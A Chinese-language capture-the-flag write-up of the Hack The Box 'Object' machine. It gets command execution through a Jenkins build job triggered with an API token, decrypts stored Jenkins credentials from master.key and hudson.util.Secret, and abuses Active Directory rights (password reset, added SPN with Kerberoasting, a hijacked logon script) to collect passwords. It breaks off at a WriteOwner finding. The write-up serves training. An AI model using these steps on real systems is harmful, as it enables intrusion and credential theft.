nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 └─$ sudo nmap -sS 10.10.11.132 -p- --min-rate=1500 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 02:27 EST Nmap scan report for 10.10.11.132 Host is up (0.11s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 5985/tcp open wsman 8080/tcp open http-proxy └─$ sudo nmap -sU 10.10.11.132 --top-ports=200 --min-rate=2000 [sudo] password for fonllge: Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 02:13 EST Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan UDP Scan Timing: About 99.99% done; ETC: 02:13 (0:00:00 remaining) Nmap scan report for 10.10.11.132 Host is up (0.11s latency). Not shown: 196 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap
to User 80口是静态web
只留有一个跳转到8080
的连接
点击后跳转到8080
,是jenkins
试了下默认密码admin/admin
不好使
https://stackoverflow.com/questions/15227305/what-is-the-default-jenkins-password
尝试注册账号,如果新建权限足够也可以创建项目拿shell
注册之后登录进来,可见用户除了新建之外只有一个admin
这里我新建了一个空项目,因为还没有生成日志,所以可以查看到当前运行服务的路径。
通过查询可以找jenkins的shell的方式
https://github.com/Brzozova/reverse-shell-via-Jenkins
可以通过创建项目,修改build过程执行的command,而后build来rce
依照上文创建一个freestyle project
修改Build Tiggers
中的Build
,这里我选的Excute Windows batch command
可以直接执行命令。
写入revshell
正常来说这里保存好配置之后可以直接点左边的build了,但奇怪的是这里没有build选项。
https://stackoverflow.com/questions/41108149/build-now-option-is-not-coming-for-job-in-jenkins
1 2 1.Project might be disabled. Please enable it or ask the concerned team to enable it. 2.You do not have enough permission to build the project. Please raise the concerned permission.
依据上文推测可能是我当前用户没有直接构建
的权限,抑或是当前项目没有被授予。
但是可以通过配置项目内的构建方式来绕过这部分权限
这里可以通认证后的过key来进行项目构建
所以首先需要在当前用户下申请一个key
将申请好的key填入到刚刚项目build的部分之后,尝试通过api发起构建。
1 2 3 4 5 6 7 8 9 └─$ curl 'http://object.htb:8080/job/test/build?token=113xxx' <html><head ><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2Ftest%2Fbuild%3Ftoken%3D1128a9d6d6670ec8103472445640df3fe5' /><script>window.location.replace('/login?from=%2Fjob%2Ftest%2Fbuild%3Ftoken%3D113xxx' );</script></head><body style='background-color:white; color:white;' > Authentication required <!-- --> </body></html>
但是报错了Authentication required
,去查了下Trigger builds remotely (e.g., from scripts)
的细节,页面给的example感觉有问题。
https://stackoverflow.com/questions/42817169/jenkins-trigger-builds-remotely-authentication-token-option-missing
1 2 3 4 5 6 7 8 9 After some time and searching around, I think I am able to answer my own question with some confidence. I believe the answer lies within the security settings. The purpose of the Authentication Token is to allow unauthorized users (developers) to trigger a build without having login access to Jenkins (see https://wiki.jenkins-ci.org/display/JENKINS/Authenticating+scripted+clients and https://wiki.jenkins-ci.org/display/JENKINS/Quick+and+Simple+Security). So if you are using Matrix-based security (under "Configure Global Security" >> Authorization), then the "Trigger builds remotely" option will go away because it is presumed that you will be authenticating requests using a Jenkins user account. In order to do that you can make an HTTP request with the username/password (or even better username/API Token): curl -X POST "https://username:api-token@JENKINS_URL/job/Example/build"
根据文中的意思,如果你的安全设置中"Configure Global Security" >> Authorization
是这么设置的,则需要使用用户名/密码或者用户名/apikkey的形式进行远程构建。
1 curl -X POST "https://username:api-token@JENKINS_URL/job/Example/build"
反之没配置的话才可以像它build页面给的例子这样,直接远程构建
1 curl 'http://object.htb:8080/job/test/build?token=113xxx'
很显然这里他是配置了需要认证后才能构建的,所以需要用文章中给出的方式来构建。
1 curl -XPOST http://asd:1128a9d6d6670ec8103472445640df3fe5@object.htb:8080/job/test/build?token=1128a9d6d6670ec8103472445640df3fe5 -s
这次成功了,但是构建过程报错了,提示命令有问题。
而后我修改了build command为whoami
,测试是没问题的
而后尝试了curl,又报连接错误,疑似不出网。(我在写的时候去看了其他人的wp,他们是用Get-NetFireWallRule
进一步看的防火墙来确定这部分存在出网限制)
不出网的话就用这个命令执行来获取信息也行,不过考虑到需要反复切换页面修改命令和查看命令输出,所以找了下查看输出的接口。
https://stackoverflow.com/questions/24176033/how-to-get-jenkins-console-output-after-triggering-build-remotely
1 $ curl "${JENKINS_URL}/job/${JOB_NAME}/lastBuild/consoleText"
为了使用方便,把构建和查看输出的简化一下。
1 2 3 └─$ alias his="curl -XPOST http://asd:1128a9d6d6670ec8103472445640df3fe5@object.htb:8080/job/test/lastBuild/consoleText?token=1128a9d6d6670ec8103472445640df3fe5" └─$ alias cre="curl -XPOST http://asd:1128a9d6d6670ec8103472445640df3fe5@object.htb:8080/job/test/build?token=1128a9d6d6670ec8103472445640df3fe5 -s"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 └─$ cre && sleep 5 &&his Started by remote host 10.10.16.12 Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test [test ] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins3748154799557318169.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test >dir C:\ Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\ 10/25/2021 03:15 AM <DIR> inetpub 10/10/2020 07:38 AM <DIR> PerfLogs 10/20/2021 09:08 PM <DIR> Program Files 10/21/2021 02:37 AM <DIR> Program Files (x86) 10/22/2021 02:54 AM <DIR> Users 10/25/2021 03:15 AM <DIR> Windows 0 File(s) 0 bytes 6 Dir(s) 4,505,337,856 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test >exit 0 Finished: SUCCESS
在当前oliver
用户的家目录下拿到了user.txt
1 2 3 4 5 6 7 8 9 10 11 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>dir C:\users\oliver\Desktop Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\users\oliver\Desktop 10/22/2021 02:41 AM <DIR> . 10/22/2021 02:41 AM <DIR> .. 01/09/2025 11:33 PM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 4,505,305,088 bytes free
1 2 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test >type C:\users \oliver\Desktop\user.txt d9a44cc1b802b1712fc2a4833a0bca30
to Root 我的想法是他jenkins
中还留有一个admin
账户,那这个用户的密码可能会有用处,所以当前问题是jenkins
中用户的密码是如何在本地存储的,
https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials
通过上文得知,如果有console的话可以直接解码,
如果没有的话作者有提供相应的一个脚本,需要提供以下文件
1 2 3 $JENKINS_HOME/credentials.xml $JENKINS_HOME/secrets/master.key $JENKINS_HOME/secrets/hudson.util.Secret
其中$JENKINS_HOME/credentials.xml
我并没有在这台机器中找到。
但是我于admin用户下找到了用户的这个凭证文件。
1 2 3 4 5 6 7 8 9 10 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>powershell -c dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035 -force Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/21/2021 2:22 AM 3186 config.xml
其格式和credentials.xml
中的内容近似
所以我尝试将他拿出并尝试替代credentials.xml
部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>powershell -c type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml <?xml version='1.1' encoding='UTF-8' ?> <user> <version>10 </version> <id>admin</id> <fullName>admin</fullName> <properties> <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1" > <domainCredentialsMap class ="hudson .util .CopyOnWriteMap $Hash "> <entry > <com .cloudbees .plugins .credentials .domains .Domain > <specifications /> </com .cloudbees .plugins .credentials .domains .Domain > <java .util .concurrent .CopyOnWriteArrayList > <com .cloudbees .plugins .credentials .impl .UsernamePasswordCredentialsImpl > <id >320a60b9 -1e5c -4399-8afe -44466c9cde9e </id > <description ></description > <username >oliver </username > <password > {AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password> <usernameSecret>false</usernameSecret> </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> </java.util.concurrent.CopyOnWriteArrayList> </entry> </domainCredentialsMap> </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty > <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84" > <triggers/> </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty > <hudson.model.MyViewsProperty> <views> <hudson.model.AllView> <owner class ="hudson .model .MyViewsProperty " reference ="../../.."/> <name >all </name > <filterExecutors >false </filterExecutors > <filterQueue >false </filterQueue > <properties class ="hudson .model .View $PropertyList "/> </hudson .model .AllView > </views > </hudson .model .MyViewsProperty > <org .jenkinsci .plugins .displayurlapi .user .PreferredProviderUserProperty plugin ="display -url -api @2.3.5"> <providerId >default </providerId > </org .jenkinsci .plugins .displayurlapi .user .PreferredProviderUserProperty > <hudson .model .PaneStatusProperties > <collapsed /> </hudson .model .PaneStatusProperties > <jenkins .security .seed .UserSeedProperty > <seed >ea75b5bd80e4763e </seed > </jenkins .security .seed .UserSeedProperty > <hudson .search .UserSearchProperty > <insensitiveSearch >true </insensitiveSearch > </hudson .search .UserSearchProperty > <hudson .model .TimeZoneProperty /> <hudson .security .HudsonPrivateSecurityRealm_ -Details > <passwordHash >#jbcrypt :$2a $10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b /0j4IVjZsdjUNAPoW </passwordHash > </hudson .security .HudsonPrivateSecurityRealm_ -Details > <hudson .tasks .Mailer_ -UserProperty plugin ="mailer @1.34"> <emailAddress >admin @object .local </emailAddress > </hudson .tasks .Mailer_ -UserProperty > <jenkins .security .ApiTokenProperty > <tokenStore > <tokenList /> </tokenStore > </jenkins .security .ApiTokenProperty > <jenkins .security .LastGrantedAuthoritiesProperty > <roles > <string >authenticated </string > </roles > <timestamp >1634793332195</timestamp > </jenkins .security .LastGrantedAuthoritiesProperty > </properties > </user > C :\Users \oliver \AppData \Local \Jenkins \.jenkins \workspace \test >exit 0Finished : SUCCESS
(这里hash没跑出来
再拿一下master.key
1 2 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>powershell -c type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19
以及hudson.util.Secret
,需要注意这个文件是二进制格式的,所以需要转码一下,这里base64转了下。
1 powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))"
1 2 3 4 └─$ his -o hudson.util.Secret % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 794 100 794 0 0 2573 0 --:--:-- --:--:-- --:--:-- 2577
再base64解码转一下就ok
然后跑了下文章中的脚本,就报错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 └─$ ./jenkins-credentials-decryptor -m ~/Desktop/htb/Object/master.key -c config.xml -s hudson.util.Secret 2025/01/11 04:52:12 Error. Decrypted hudson secret does not contain expected checksum. Expected checksum keyword: ::::MAGIC:::: Decrypted secret: "x?Lc{0\x06\xc2\xd2ǹ\x88\xc1\n\x0e\nz\xea\xb8a\xab\xd0[\xe23\xbf?\xdf3\x0f\xceļ{<\xe4R\x14\xac[\x18Wݟ?\x8bǶ\x83\xaf\xd6\x16?\xfe;\xf3=p\xf4\xe2+\xf1\xb4N\xd2\x03q\xfa\xf3,\x8cJ\xf4\xfa%\xba\xcb֯C\x16\x8c\x86\xb0\x05\x91\x87@b\xef\xa76\x86\xc3Z7\xd2mp\x06<+\x19%\xd3\xcfP\xbeF\f|\xb2\x00\xd3\xd2s\xdb\x10\xf6V\xb87\x0f\x8d\xd2h\x8cvn\t\x1er\xa7\xe5\xf7_\x83\x1e\x97~\x81\x8c_M\xdb7BĘ\xb0\x940\tp\xfeٛ\xf0F\x10c[ʂ\xfa\xc3\xe3\xec\x19Μ\x88\xe0!\x1f:\b\xc0n\xf4嫒\x13\x1b\xdb˸G3?\x198\xa6@\xfd\xbbr\x1e63\x12\xa0\xf5\xfc-Πw\xe5\xbf\xfct\xe2\xf1\xeeT\xd1;\x93\xe7_\xb9\xc2\xdeK[\xd8\xcfȿ\xffp\xbf\xcc\xd4\xe0\x96\x8d\x9c\xb2\a\xa2\x1f-\x17\x89\xb0\x98\xeb\xceg\xd3\ft\xc0\x18\x8d\xaa\x1fa\xec\xf3<]\xabUu\xf1\x14\x84\x91" panic: Error. Decrypted hudson secret does not contain expected checksum. Expected checksum keyword: ::::MAGIC:::: Decrypted secret: "x?Lc{0\x06\xc2\xd2ǹ\x88\xc1\n\x0e\nz\xea\xb8a\xab\xd0[\xe23\xbf?\xdf3\x0f\xceļ{<\xe4R\x14\xac[\x18Wݟ?\x8bǶ\x83\xaf\xd6\x16?\xfe;\xf3=p\xf4\xe2+\xf1\xb4N\xd2\x03q\xfa\xf3,\x8cJ\xf4\xfa%\xba\xcb֯C\x16\x8c\x86\xb0\x05\x91\x87@b\xef\xa76\x86\xc3Z7\xd2mp\x06<+\x19%\xd3\xcfP\xbeF\f|\xb2\x00\xd3\xd2s\xdb\x10\xf6V\xb87\x0f\x8d\xd2h\x8cvn\t\x1er\xa7\xe5\xf7_\x83\x1e\x97~\x81\x8c_M\xdb7BĘ\xb0\x940\tp\xfeٛ\xf0F\x10c[ʂ\xfa\xc3\xe3\xec\x19Μ\x88\xe0!\x1f:\b\xc0n\xf4嫒\x13\x1b\xdb˸G3?\x198\xa6@\xfd\xbbr\x1e63\x12\xa0\xf5\xfc-Πw\xe5\xbf\xfct\xe2\xf1\xeeT\xd1;\x93\xe7_\xb9\xc2\xdeK[\xd8\xcfȿ\xffp\xbf\xcc\xd4\xe0\x96\x8d\x9c\xb2\a\xa2\x1f-\x17\x89\xb0\x98\xeb\xceg\xd3\ft\xc0\x18\x8d\xaa\x1fa\xec\xf3<]\xabUu\xf1\x14\x84\x91" goroutine 1 [running]: log.Panic(0xc00004ff68, 0x1, 0x1) /opt/hostedtoolcache/go/1.14.15/x64/src/log/log.go:351 +0xac main.check(...) /home/runner/work/jenkins-credentials-decryptor/jenkins-credentials-decryptor/cmd/jenkins-credentials-decryptor/main.go:38 main.main() /home/runner/work/jenkins-credentials-decryptor/jenkins-credentials-decryptor/cmd/jenkins-credentials-decryptor/main.go:23 +0x23e
说是找不到::::MAGIC::::
字符替换,然后去看了下它的源码
https://github.com/hoto/jenkins-credentials-decryptor/blob/master/pkg/cryptography/secret.go#L33
应该是这里报的
往上走能看出大概率是aes128ecb解码之后找不到::::MAGIC::::
字符才报错的
这里我换了另一个py的脚本,确直接就解出来了。
https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py
1 2 └─$ python3.11 jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml c1cdfun_d2434
我以为是解码后::::MAGIC:::
字符的问题,然后debug了下py的脚本,把他aes的key拿出来,在70行这里print一下。
1 2 3 4 5 6 def decrypt_secret_old_format(encrypted_secret, confidentiality_key): cipher_handler = AES.new(confidentiality_key, AES.MODE_ECB) decrypted_secret = cipher_handler.decrypt(encrypted_secret) print(confidentiality_key) if not decryption_magic in decrypted_secret: return None
输出了aeskey
1 2 3 └─$ python3.11 jenkins_offline_decrypt.py ~/Desktop/htb/Object/master hudson.util.Secret config.xml b33af97dca02c64babc767de753b6441 c1cdfun_d2434
拿去解码一下hudson.util.Secret
很显然正常解码后是能看到::::MAGIC::::
的,所以感觉大概率是go的那个脚本获取aes->解码
这两部分有问题,不过懒得去debug了。
至此就拿到了oliver/c1cdfun_d2434
,可以winrm了
因为他那边限制了端口,没法远程遛狗了,只能winrm传进去遛。
这里我因为前段时间换了个版本的bloodhound所以重新下了最新的sharphound。结果遛出来的结果一直不加载,去搜找到了下文,2.x
以上版本的sharphound只能在CE版本 用,老版的需要用v1.1.1。
https://github.com/SpecterOps/BloodHound-Legacy/issues/700
遛狗得到oliver对smith用户有修改密码权限
这里一眼可以望到admin的路了
忘记留这部分解析GUID的命令回显了可以参考微软文档。
https://learn.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password
oliver
用户对smith
用户有force-change-password
强制更改密码的对象权限
Entry
Value
CN
User-Force-Change-Password
Display-Name
Reset Password
Rights-GUID
00299570-246d-11d0-a768-00aa006e0529
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 *Evil-WinRM * PS C:\Users\oliver\Documents>Import-module .\PowerView.ps1 *Evil-WinRM * PS C:\Users\oliver\Documents> Get-DomainObjectAcl -Identity smith | ? {$_ .SecurityIdentifier="S-1-5-21-4088429403-1159899800-2753317549-1103" } ObjectDN : CN=Smith William,CN=Users,DC=object,DC=local ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-1104 ActiveDirectoryRights : ExtendedRight ObjectAceFlags : ObjectAceTypePresent ObjectAceType : 00299570 -246d-11d0-a768-00aa006e0529 InheritedObjectAceType : 00000000 -0000-0000-0000-000000000000 BinaryLength : 56 AceQualifier : AccessAllowed IsCallback : False OpaqueLength : 0 AccessMask : 256 SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1103 AceType : AccessAllowedObject AceFlags : None IsInherited : False InheritanceFlags : None PropagationFlags : None AuditFlags : None
根据powerview给的例子改就好
1 2 3 4 5 6 .EXAMPLE $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword Resets the password for 'andy' to the password specified.
1 2 3 *Evil-WinRM * PS C:\Users\oliver\Documents> import-module .\PowerView.ps1 *Evil-WinRM * PS C:\Users\oliver\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force *Evil-WinRM * PS C:\Users\oliver\Documents> Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword
至此拿到了smith
,之后是smith -> maria
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 *Evil-WinRM * PS C:\Users\oliver\Documents> Get-DomainObjectAcl -Identity maria -ResolveGUIDs |? { $_ .SecurityIdentifier -eq "S-1-5-21-4088429403-11598 99800-2753317549-1104" }AceType : AccessAllowed ObjectDN : CN=maria garcia,CN=Users,DC=object,DC=local ActiveDirectoryRights : ReadProperty, WriteProperty, GenericExecute OpaqueLength : 0 ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-1106 InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1104 AccessMask : 131124 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed
这里他有genericwrite
权限,说人话就是WriteProperty
留一下方便自己查
https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=windowsdesktop-9.0
最常用的话是加影票,但是我着实想不出win他限制了入的TCP咋连..
https://notes.morph3.blog/abusing-active-directory-acls/genericwrite
其次是spn和关预认证,再其次是改登陆脚本,但是这情况真的很罕见..
所以这里我选添加spn
1 PS > Set-DomainObject -Identity maria -SET @ {serviceprincipalname='nonexistent/BLAHBLAH' }
添加之后再次查看maria的信息,可见多了serviceprincipalname
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 *Evil-WinRM * PS C:\Users\smith\Documents> Get-DomainObject -Identity maria logoncount : 39 badpasswordtime : 10 /22 /2021 5 :54 :46 AM distinguishedname : CN=maria garcia,CN=Users,DC=object,DC=local objectclass : {top, person, organizationalPerson, user} displayname : maria garcia lastlogontimestamp : 1 /12 /2025 6 :30 :43 PM userprincipalname : maria@object.local name : maria garcia objectsid : S-1-5-21-4088429403-1159899800-2753317549-1106 samaccountname : maria codepage : 0 samaccounttype : USER_OBJECT accountexpires : NEVER countrycode : 0 whenchanged : 1 /13 /2025 6 :27 :16 AM instancetype : 4 usncreated : 20645 objectguid : 9340 fcdd-2f1e-4f89-bafe-e1dcdd5c2b6f sn : garcia lastlogoff : 12 /31 /1600 4 :00 :00 PM objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=object,DC=local dscorepropagationdata : {10 /22 /2021 10 :21 :48 AM, 10 /22 /2021 10 :10 :02 AM, 10 /22 /2021 10 :04 :25 AM, 10 /22 /2021 9 :52 :43 AM...} serviceprincipalname : nonexistent/BLAHBLAH givenname : maria memberof : CN=Remote Management Users,CN=Builtin,DC=object,DC=local lastlogon : 1 /12 /2025 6 :30 :43 PM badpwdcount : 0 cn : maria garcia useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD whencreated : 10 /22 /2021 4 :16 :32 AM primarygroupid : 513 pwdlastset : 10 /21 /2021 9 :16 :32 PM usnchanged : 159933
然后是获取spn信息
需要注意的是这里需要带上当前用户的密码才可以请求spn
,不然会报错,当然如果关闭了smith用户的预认证的话是可以直接去请求spn的,并不需要带上认证。
1 2 3 4 5 6 7 8 9 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('object.local\smith' , $SecPassword )*Evil-WinRM * PS C:\Users\smith\Documents> Get-DomainSPNTicket -SPN "nonexistent/BLAHBLAH" -OutputFormat Hashcat -Credential $Cred SamAccountName : UNKNOWN DistinguishedName : UNKNOWN ServicePrincipalName : nonexistent/BLAHBLAH TicketByteHexStream : Hash : $krb5tgs $23 $ *UNKNOWN$UNKNOWN $nonexistent /BLAHBLAH*$29652BC41E0DEEFD40F499617875 ....
然而我并没有跑出来密码
1 2 3 4 5 6 7 8 └─$ hashcat maria_hash /usr/share/wordlists/rockyou.txt --show Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash: 13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type.
不过还可以改logon script,这里可以参考一下微软文档,我记得24年中旬时候有一台机器也是用的这个,当时卡住了,好dude说他查了微软文档,可以指定在共享目录netlogon下的脚本就可以用。
1 2 3 Local logon scripts must be stored in a shared folder that uses the share name of Netlogon, or be stored in subfolders of the Netlogon folder. The default location for local logon scripts is the Systemroot\System32\Repl\Imports\Scripts folder. This folder is not created on a new installation of Windows. Therefore, the SystemRoot\System32\Repl\Imports\Scripts folder must be created and shared out by using the Netlogon share name.
https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/assign-logon-script-profile-local-user
不过这次情况比较特殊,我在切换到netlogon下发现自己没有写入权限,而且他不能出网也没法访问到我kali的smb共享目录。
所以这里我尝试将他的脚本路径,变更为绝对路径,来指向到我的临时目录。
1 2 3 4 5 *Evil-WinRM * PS C:\Users\smith\Documents> Set-DomainObject -Identity maria -Set @ {'scriptPath' ='C:\\test\1.ps1' } -Verbose Verbose: [Get-DomainSearcher ] search base: LDAP://DC=object,DC=local Verbose: [Get-DomainObject ] Get-DomainObject filter string: (&(|(|(samAccountName=maria)(name=maria)(displayname=maria)))) Verbose: [Set-DomainObject ] Setting 'scriptPath' to 'C:\\test\1.ps1' for object 'maria'
再一次查看maria信息,scriptpath
已经被修改成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 *Evil-WinRM * PS C:\Users\smith\Documents> Get-DomainObject -Identity maria logoncount : 39 badpasswordtime : 10 /22 /2021 5 :54 :46 AM distinguishedname : CN=maria garcia,CN=Users,DC=object,DC=local objectclass : {top, person, organizationalPerson, user} displayname : maria garcia lastlogontimestamp : 1 /12 /2025 6 :30 :43 PM userprincipalname : maria@object.local name : maria garcia objectsid : S-1-5-21-4088429403-1159899800-2753317549-1106 cn : maria garcia codepage : 0 samaccounttype : USER_OBJECT accountexpires : NEVER countrycode : 0 whenchanged : 1 /13 /2025 7 :38 :42 AM instancetype : 4 usncreated : 20645 objectguid : 9340 fcdd-2f1e-4f89-bafe-e1dcdd5c2b6f sn : garcia lastlogoff : 12 /31 /1600 4 :00 :00 PM samaccountname : maria objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=object,DC=local dscorepropagationdata : {10 /22 /2021 10 :21 :48 AM, 10 /22 /2021 10 :10 :02 AM, 10 /22 /2021 10 :04 :25 AM, 10 /22 /2021 9 :52 :43 AM...} serviceprincipalname : nonexistent/BLAHBLAH givenname : maria memberof : CN=Remote Management Users,CN=Builtin,DC=object,DC=local lastlogon : 1 /12 /2025 6 :30 :43 PM badpwdcount : 0 scriptpath : C:\\test\1 .ps1 <----scriptpath useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD whencreated : 10 /22 /2021 4 :16 :32 AM primarygroupid : 513 pwdlastset : 10 /21 /2021 9 :16 :32 PM usnchanged : 159963
接下来不出意外的只需要修改1.ps1
即可
所以这里我echo "whoami > c:\test\a" > 1.ps1
,发现他执行的非常快..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 *Evil-WinRM * PS C:\test> ls Directory: C:\test Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1 /12 /2025 11 :13 PM 42 1 .ps1-a---- 1 /12 /2025 11 :39 PM 30 a*Evil-WinRM * PS C:\test> cat a object\maria
而后通过替换这个脚本来执行命令,这部分和user
的jenkins
部分很像
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 *Evil-WinRM * PS C:\test> echo 'dir ~ > C:/test/a' > 1 .ps1 *Evil-WinRM * PS C:\test> cat a Directory: C:\Users\maria Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 10 /22 /2021 3 :54 AM 3 D Objects d-r--- 10 /22 /2021 3 :54 AM Contacts d-r--- 10 /25 /2021 3 :47 AM Desktop d-r--- 10 /25 /2021 10 :07 PM Documents d-r--- 10 /22 /2021 3 :54 AM Downloads d-r--- 10 /22 /2021 3 :54 AM Favorites d-r--- 10 /22 /2021 3 :54 AM Links d-r--- 10 /22 /2021 3 :54 AM Music d-r--- 10 /22 /2021 3 :54 AM Pictures d-r--- 10 /22 /2021 3 :54 AM Saved Games d-r--- 10 /22 /2021 3 :54 AM Searches d-r--- 10 /22 /2021 3 :54 AM Videos
在maria
的桌面上找到了一个xls
1 2 3 4 5 6 7 8 9 10 *Evil-WinRM * PS C:\test> echo 'dir ~/desktop/ > C:/test/a' > 1 .ps1 *Evil-WinRM * PS C:\test> cat a Directory: C:\Users\maria\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10 /26 /2021 8 :13 AM 6144 Engines.xls
这里有两种方式,一个是直接copy到当前目录,一个是base64输出转码
1 2 3 4 5 6 7 8 9 10 11 12 #copy file *Evil-WinRM* PS C:\test> echo 'powershell -Command copy-item ~/desktop/Engines.xls -Destination "C:/test/Engines.xls"' > 1.ps1 *Evil-WinRM* PS C:\test> ls Directory: C:\test Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/15/2025 1:59 AM 178 1.ps1 -a---- 10/26/2021 8:13 AM 6144 Engines.xls -a---- 1/15/2025 1:56 AM 770279 PowerView.ps1
1 2 #base64 echo "powershell -Command ""[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\maria\desktop\Engines.xls')) > c:\test\basefile""" > 1.ps1
不管怎么着,我是copy之后拿到之后直接download了
1 C:\test> download C:/test/Engines.xls Engines.xls
xls如下
Name
Quantity
Date Acquired
Owner Chamber
Username Chamber
Password
InternalCombustion Engine
12
10/02/21
HTB
maria
d34gb8@
Stirling Engine
23
11/05/21
HTB
maria
0de_434_d545
Diesel Engine
4
02/03/21
HTB
maria
W3llcr4ft3d_4cls
撞一下得到maria/W3llcr4ft3d_4cls
1 2 3 4 5 6 7 └─$ crackmapexec winrm 10.10.11.132 -u maria -p passlist SMB 10.10.11.132 5985 NONE [*] None (name:10.10.11.132) (domain:None) HTTP 10.10.11.132 5985 NONE [*] http://10.10.11.132:5985/wsman WINRM 10.10.11.132 5985 NONE [-] None\maria:d34gb8@ WINRM 10.10.11.132 5985 NONE [-] None\maria:0de_434_d545 WINRM 10.10.11.132 5985 NONE [+] None\maria:W3llcr4ft3d_4cls (Pwn3d!) WINRM 10.10.11.132 5985 NONE [-] None\maria:W3llcr4ft3d_4cls "'NoneType' object has no attribute 'upper'"
maria
对域管理员组
有writeOwner
权限
